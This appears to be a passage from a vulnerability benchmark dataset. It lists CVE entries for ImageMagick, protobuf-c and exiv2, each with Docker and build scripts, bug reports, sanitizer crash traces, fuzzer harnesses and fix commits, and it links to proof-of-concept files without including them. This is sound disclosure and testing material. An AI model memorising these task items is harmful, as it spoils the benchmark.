png.c:4483:21 #6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #13 0x514f77 in MagickMain magick.c:151:10 #14 0x5149d1 in main magick.c:263:10 #15 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 280 byte(s) in 1 object(s) allocated from: #0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66 #1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10 #2 0x7fbe8d367dfd in CloneBlobInfo blob.c:504:27 #3 0x7fbe8d5ba7d1 in AcquireImage image.c:209:15 #4 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #5 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #6 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #7 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #8 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #9 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #10 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #11 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #12 0x514f77 in MagickMain magick.c:151:10 #13 0x5149d1 in main magick.c:263:10 #14 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 88 byte(s) in 1 object(s) allocated from: #0 0x4def96 in __interceptor_malloc asan_malloc_linux.cc:66 #1 0x7fbe8d60af76 in AcquireMagickMemory memory.c:463:10 #2 0x7fbe8d60afd8 in AcquireQuantumMemory memory.c:536:10 #3 0x7fbe8d389ca4 in AcquirePixelCacheNexus cache.c:268:31 #4 0x7fbe8d389704 in AcquirePixelCache cache.c:211:26 #5 0x7fbe8d5ba6bd in AcquireImage image.c:206:16 #6 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #7 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #8 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #9 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #10 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #11 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #12 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #13 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #14 0x514f77 in MagickMain magick.c:151:10 #15 0x5149d1 in main magick.c:263:10 #16 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142 #1 0x7fbe8d747788 in AcquireSemaphoreMemory semaphore.c:154:7 #2 0x7fbe8d746ffc in AcquireSemaphoreInfo semaphore.c:200:36 #3 0x7fbe8d5ba935 in AcquireImage image.c:213:20 #4 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #5 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #6 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #7 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #8 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #9 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #10 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #11 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #12 0x514f77 in MagickMain magick.c:151:10 #13 0x5149d1 in main magick.c:263:10 #14 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142 #1 0x7fbe8d747788 in AcquireSemaphoreMemory semaphore.c:154:7 #2 0x7fbe8d746ffc in AcquireSemaphoreInfo semaphore.c:200:36 #3 0x7fbe8d3899c3 in AcquirePixelCache cache.c:226:25 #4 0x7fbe8d5ba6bd in AcquireImage image.c:206:16 #5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #13 0x514f77 in MagickMain magick.c:151:10 #14 0x5149d1 in main magick.c:263:10 #15 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142 #1 0x7fbe8d747788 in AcquireSemaphoreMemory semaphore.c:154:7 #2 0x7fbe8d746ffc in AcquireSemaphoreInfo semaphore.c:200:36 #3 0x7fbe8d368bf7 in GetBlobInfo blob.c:1414:24 #4 0x7fbe8d367eec in CloneBlobInfo blob.c:507:3 #5 0x7fbe8d5ba7d1 in AcquireImage image.c:209:15 #6 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #7 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #8 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #9 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #10 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #11 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #12 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #13 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #14 0x514f77 in MagickMain magick.c:151:10 #15 0x5149d1 in main magick.c:263:10 #16 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142 #1 0x7fbe8d747788 in AcquireSemaphoreMemory semaphore.c:154:7 #2 0x7fbe8d746ffc in AcquireSemaphoreInfo semaphore.c:200:36 #3 0x7fbe8d389a52 in AcquirePixelCache cache.c:228:30 #4 0x7fbe8d5ba6bd in AcquireImage image.c:206:16 #5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #13 0x514f77 in MagickMain magick.c:151:10 #14 0x5149d1 in main magick.c:263:10 #15 0x7fbe87456f44 in __libc_start_main libc-start.c:287 Indirect leak of 64 byte(s) in 1 object(s) allocated from: #0 0x4dfaf5 in posix_memalign asan_malloc_linux.cc:142 #1 0x7fbe8d60adb2 in AcquireAlignedMemory memory.c:261:7 #2 0x7fbe8d389bae in AcquirePixelCacheNexus cache.c:264:29 #3 0x7fbe8d389704 in AcquirePixelCache cache.c:211:26 #4 0x7fbe8d5ba6bd in AcquireImage image.c:206:16 #5 0x7fbe8dc47483 in ReadOneJNGImage png.c:4483:21 #6 0x7fbe8dc1bb1d in ReadJNGImage png.c:5053:9 #7 0x7fbe8d3faf98 in ReadImage constitute.c:497:13 #8 0x7fbe8d771bd9 in ReadStream stream.c:1045:9 #9 0x7fbe8d3f9b3f in PingImage constitute.c:226:9 #10 0x7fbe8d3fa2e3 in PingImages constitute.c:327:10 #11 0x7fbe8cb5b126 in IdentifyImageCommand identify.c:319:18 #12 0x7fbe8cc18dff in MagickCommandGenesis mogrify.c:183:14 #13 0x514f77 in MagickMain magick.c:151:10 #14 0x5149d1 in main magick.c:263:10 #15 0x7fbe87456f44 in __libc_start_main libc-start.c:287 SUMMARY: AddressSanitizer: 49832 byte(s) leaked in 12 allocation(s). ``` testcase: https://github.com/jgj212/poc/blob/master/leak-ReadOneJNGImage Credit : ADLab of Venustech Comments: Comment by mikayla-grace on 2017-07-08 22:33:17+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by bastien-roucaries on 2017-07-09 22:03:58+00:00: Hi, I suppose https://github.com/ImageMagick/ImageMagick/commit/982d89a952e7d6840ec7851c364f489a50d805b7#diff-06e0c72bb0a365a2fa4145b89e0a750a is also needed --- Comment by nohmask on 2017-09-08 08:01:52+00:00: This was assigned CVE-2017-12641. Commit References: 982d89a952e7d6840ec7851c364f489a50d805b7
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "c9aa9f80828594eacbe3affe16c43d623562e5d8", "url": "https://github.com/ImageMagick/ImageMagick/commit/c9aa9f80828594eacbe3affe16c43d623562e5d8" }, { "sha": "982d89a952e7d6840ec7851c364f489a50d805b7", "url": "https://github.com/ImageMagick/ImageMagick/commit/982d89a952e7d6840ec7851c364f489a50d805b7" }, { "sha": "3320955045e5a2a22c13a04fa9422bb809e75eda", "url": "https://github.com/ImageMagick/ImageMagick/commit/3320955045e5a2a22c13a04fa9422bb809e75eda" } ]
protobuf-c.cve-2022-33070
protobuf-c/protobuf-c
f224ab2eeb648a818eb20687d7150a285442c907
2021-05-18T19:45:28
protobuf-c
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config RUN git clone https://github.com/protobuf-c/protobuf-c protobuf-c RUN git -C protobuf-c checkout f224ab2eeb648a818eb20687d7150a285442c907 WORKDIR $SRC/protobuf-c COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu export ASAN_OPTIONS=alloc_dealloc_mismatch=0 export CXXFLAGS="$CXXFLAGS -DASAN" export CXXFLAGS="$CXXFLAGS -DMSAN" export CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" mkdir -p $SRC/protobuf-install/ cd $SRC/protobuf/ ./autogen.sh ./configure --prefix=$SRC/protobuf-install make -j$(nproc) make install -j$(nproc) export PROTOC="$SRC/protobuf-install/bin/protoc" cd $SRC/protobuf-c/ ./configure --enable-static=yes --enable-shared=false PKG_CONFIG_PATH=$SRC/protobuf-install/lib/pkgconfig cd $SRC/fuzzing-headers/ cd $SRC/protobuf-c-fuzzers/ export PATH=$PATH:$SRC/protobuf-c/protoc-c
/src/protobuf-c
undefined
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/protobuf-c/protobuf-c/issues/506 ## Description: Issue: protobuf-c/protobuf-c#506 Title: UndefinedBehaviorSanitizer: invalid left shift in protobuf-c.c:2086 State: closed Created by: pietroborrello Created at: 2022-04-29 15:41:58+00:00 Issue Body: ##### **Describe the bug** UndefinedBehaviorSanitizer: invalid left shift in protobuf-c.c:2086 ##### **To Reproduce** Built protobuf-c using clang-10 according to [the oss-fuzz script](https://github.com/google/oss-fuzz/blob/master/projects/protobuf-c/build.sh) with `CXXFLAGS='-O1 -fsanitize=address -fsanitize=array-bounds,bool,builtin,enum,float-divide-by-zero,function,integer-divide-by-zero,null,object-size,return,returns-nonnull-attribute,shift,signed-integer-overflow,unreachable,vla-bound,vptr'` commit: f224ab2eeb648a818eb20687d7150a285442c907 ##### **UBSAN Output** ``` $ ./protobuf-c-fuzzer id:000003,sig:06,src:000024,time:945,op:havoc,rep:16,trial:4 INFO: Seed: 1244782513 INFO: Loaded 1 modules (3433 inline 8-bit counters): 3433 [0x5b06c3, 0x5b142c), INFO: Loaded 1 PC tables (3433 PCs): 3433 [0x5587f8,0x565e88), protobuf-c-fuzzer: Running 1 inputs 1 time(s) each. Running: id:000003,sig:06,src:000024,time:945,op:havoc,rep:16,trial:4 protobuf-c/protobuf-c.c:2086:29: runtime error: left shift of 65 by 25 places cannot be represented in type 'int' SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior protobuf-c/protobuf-c.c:2086:29 in Executed id:000003,sig:06,src:000024,time:945,op:havoc,rep:16,trial:4 in 1 ms ``` testcases that trigger the issue: [protobuf-c.zip](https://github.com/protobuf-c/protobuf-c/files/8592016/protobuf-c.zip) Comments: Comment by carnil on 2022-06-25 19:53:42+00:00: It looks that CVE-2022-33070 is associated with this issue. Attachments: https://github.com/protobuf-c/protobuf-c/files/8592016/protobuf-c.zip Commit References: f224ab2eeb648a818eb20687d7150a285442c907
[]
[ { "sha": "f224ab2eeb648a818eb20687d7150a285442c907", "url": "https://github.com/protobuf-c/protobuf-c/commit/f224ab2eeb648a818eb20687d7150a285442c907" }, { "sha": "6e389ce2c34355d36009a8fb1666bed29fa2d4f4", "url": "https://github.com/protobuf-c/protobuf-c/commit/6e389ce2c34355d36009a8fb1666bed29fa2d4f4" } ]
imagemagick.cve-2017-12668
imagemagick/imagemagick
d3bfbe88609cf213494c4143c003dc2c77c3912d
2017-07-17T16:25:01
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout d3bfbe88609cf213494c4143c003dc2c77c3912d WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/575 ## Description: Issue: ImageMagick/ImageMagick#575 Title: memory leak in WritePCXImage State: closed Created by: jgj212 Created at: 2017-07-17 01:29:33+00:00 Labels: bug Issue Body: Version: ImageMagick 7.0.6-2 Q16 x86_64 ``` ./magick convert $FILE out.pcx ==12396==ERROR: LeakSanitizer: detected memory leaks Direct leak of 768 byte(s) in 1 object(s) allocated from: #0 0x4deeb6 in __interceptor_malloc asan_malloc_linux.cc:66 #1 0x7f7ae52ff186 in AcquireMagickMemory memory.c:464:10 #2 0x7f7ae52ff1e8 in AcquireQuantumMemory memory.c:537:10 #3 0x7f7ae57a0991 in WritePCXImage pcx.c:987:36 #4 0x7f7ae50de6fe in WriteImage constitute.c:1114:14 #5 0x7f7ae50df5fd in WriteImages constitute.c:1333:13 #6 0x7f7ae478a900 in ConvertImageCommand convert.c:3280:11 #7 0x7f7ae48d90cf in MagickCommandGenesis mogrify.c:183:14 #8 0x514a37 in MagickMain magick.c:149:10 #9 0x514491 in main magick.c:180:10 #10 0x7f7adf116f44 in __libc_start_main libc-start.c:287 ``` POC: https://github.com/jgj212/poc/blob/master/leak-WritePCXImage Credit : ADLab of Venustech Comments: Comment by mikayla-grace on 2017-07-17 23:10:50+00:00: Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow. --- Comment by nohmask on 2017-09-08 07:44:26+00:00: This was assigned CVE-2017-12668.
[ { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n", "filename": "crop_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n", "filename": "encoder_fuzzer.cc" }, { "content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n", "filename": "encoder_list.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n", "filename": "enhance_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n", "filename": "huffman_decode_fuzzer.cc" }, { "content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n", "filename": "rotate_fuzzer.cc" } ]
[ { "sha": "2ba8f335fa06daf1165e0878462686028e633a74", "url": "https://github.com/ImageMagick/ImageMagick/commit/2ba8f335fa06daf1165e0878462686028e633a74" }, { "sha": "560e6e512961008938aa1d1b9aab06347b1c8f9b", "url": "https://github.com/ImageMagick/ImageMagick/commit/560e6e512961008938aa1d1b9aab06347b1c8f9b" } ]
exiv2.cve-2017-11339
exiv2/exiv2
fa449a4d2c58d63f0d75ff259f25683a98a44630
2017-04-26T14:16:21
exiv2
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils RUN git clone https://github.com/exiv2/exiv2 exiv2 RUN git -C exiv2 checkout fa449a4d2c58d63f0d75ff259f25683a98a44630 WORKDIR $SRC/exiv2 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" .. make -j $(nproc)
/src/exiv2
address
================= Bug Report (1/1) ================== ## Source: Red Hat Bugzilla ## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1470946 ## Description: Bugzilla ID: 1470946 Title: There is a heap-buffer-overflow in image.cpp of exiv2. Description owl337 2017-07-14 06:21:58 UTC Created attachment 1298133 [details] Triggered by "./exiv2 $POC" Description of problem: There is a heap-buffer-overflow in Exiv2::Image::printIFDStructure of image.cpp in exiv2. Version-Release number of selected component (if applicable): <= latest version How reproducible: ./exiv2 $POC Steps to Reproduce: The output information is as follows: $./exiv2 POC5 *** Error in `/home/icy/real/exiv2/bin/.libs/lt-exiv2': free(): invalid next size (fast): 0x00000000015597b0 *** Aborted GDB debugging information is as follows: (gdb) set args POC5 (gdb) r ... Breakpoint 5, Exiv2::Image::printIFDStructure (this=<optimized out>, io=..., out=..., option=Exiv2::kpsRecursive, start=0, bSwap=<optimized out>, c=<optimized out>, depth=0) at image.cpp:404 404 std::memcpy(buf.pData_,dir.pData_+8,4); // copy dir[8:11] into buffer (short strings) (gdb) bt #0 Exiv2::Image::printIFDStructure (this=<optimized out>, io=..., out=..., option=Exiv2::kpsRecursive, start=0, bSwap=<optimized out>, c=<optimized out>, depth=0) at image.cpp:404 #1 0x00007ffff70b90e1 in Exiv2::Image::printTiffStructure (this=0x61300000de80, io=..., out=..., option=Exiv2::kpsRecursive, depth=-1, offset=<optimized out>) at image.cpp:518 #2 0x00007ffff71972ac in Exiv2::OrfImage::printStructure (this=<optimized out>, out=..., option=<optimized out>, depth=<optimized out>) at orfimage.cpp:104 #3 0x00007ffff7198631 in Exiv2::OrfImage::readMetadata (this=<optimized out>) at orfimage.cpp:123 #4 0x0000000000518d8c in Action::Print::printSummary (this=<optimized out>) at actions.cpp:289 #5 0x0000000000518489 in Action::Print::run (this=0x60400000d950, path=...) at actions.cpp:244 #6 0x00000000004e2ebc in main (argc=<optimized out>, argv=<optimized out>) at exiv2.cpp:170 (gdb) s ================================================================= ==46719==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ed93 at pc 0x7ffff70b7adb bp 0x7fffffffbe10 sp 0x7fffffffbe08 WRITE of size 4 at 0x60200000ed93 thread T0 #0 0x7ffff70b7ada (/home/icy/real/exiv2-asan/install/lib/libexiv2.so.26+0x43bada) #1 0x7ffff70b90e0 (/home/icy/real/exiv2-asan/install/lib/libexiv2.so.26+0x43d0e0) #2 0x7ffff71972ab (/home/icy/real/exiv2-asan/install/lib/libexiv2.so.26+0x51b2ab) #3 0x7ffff7198630 (/home/icy/real/exiv2-asan/install/lib/libexiv2.so.26+0x51c630) #4 0x518d8b (/home/icy/real/exiv2-asan/install/bin/exiv2+0x518d8b) #5 0x518488 (/home/icy/real/exiv2-asan/install/bin/exiv2+0x518488) #6 0x4e2ebb (/home/icy/real/exiv2-asan/install/bin/exiv2+0x4e2ebb) #7 0x7ffff5e29abf (/lib/x86_64-linux-gnu/libc.so.6+0x20abf) #8 0x43b288 (/home/icy/real/exiv2-asan/install/bin/exiv2+0x43b288) 0x60200000ed93 is located 2 bytes to the right of 1-byte region [0x60200000ed90,0x60200000ed91) allocated by thread T0 here: #0 0x4e1842 (/home/icy/real/exiv2-asan/install/bin/exiv2+0x4e1842) #1 0x7ffff70b0c5f (/home/icy/real/exiv2-asan/install/lib/libexiv2.so.26+0x434c5f) #2 0x7ffff70b90e0 (/home/icy/real/exiv2-asan/install/lib/libexiv2.so.26+0x43d0e0) Shadow bytes around the buggy address: 0x0c047fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff9db0: fa fa[01]fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff9dc0: fa fa 06 fa fa fa 00 04 fa fa 00 04 fa fa 00 04 0x0c047fff9dd0: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04 0x0c047fff9de0: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04 0x0c047fff9df0: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa fd fa 0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==46719==ABORTING [Inferior 1 (process 46719) exited with code 01] This vulnerability was triggered in Exiv2::Image::printIFDStructure () at image.cpp:404. 338 void Image::printIFDStructure(BasicIo& io, std::ostream& out, Exiv2::PrintStructureOption option,uint32_t start,bool bSwap,char c,int depth) { ... 399 : 1 400 ; 401 402 // if ( offset > io.size() ) offset = 0; // Denial of service? 403 DataBuf buf(size*count + pad+20); // allocate a buffer 404 std::memcpy(buf.pData_,dir.pData_+8,4); // copy dir[8:11] into buffer (short strings) 405 if ( count*size > 4 ) { // read into buffer 406 size_t restore = io.tell(); // save 407 io.seek(offset,BasicIo::beg); // position 408 io.read(buf.pData_,count*size);// read ... } Actual results: crash Expected results: crash Additional info: This vulnerability is detected by team OWL337, with our custom fuzzer collAFL. Please contact ganshuitao and chaoz.cn if you need more info about the team, the tool or the vulnerability. Comments: Comment 2 Adam Mariš 2017-07-24 12:42:03 UTC Please, report this issue to upstream. Thanks! --- Comment 3 Raphaël Hertzog 2017-08-31 14:25:37 UTC I forwarded this report to upstream: https://github.com/Exiv2/exiv2/issues/52 --- Comment 5 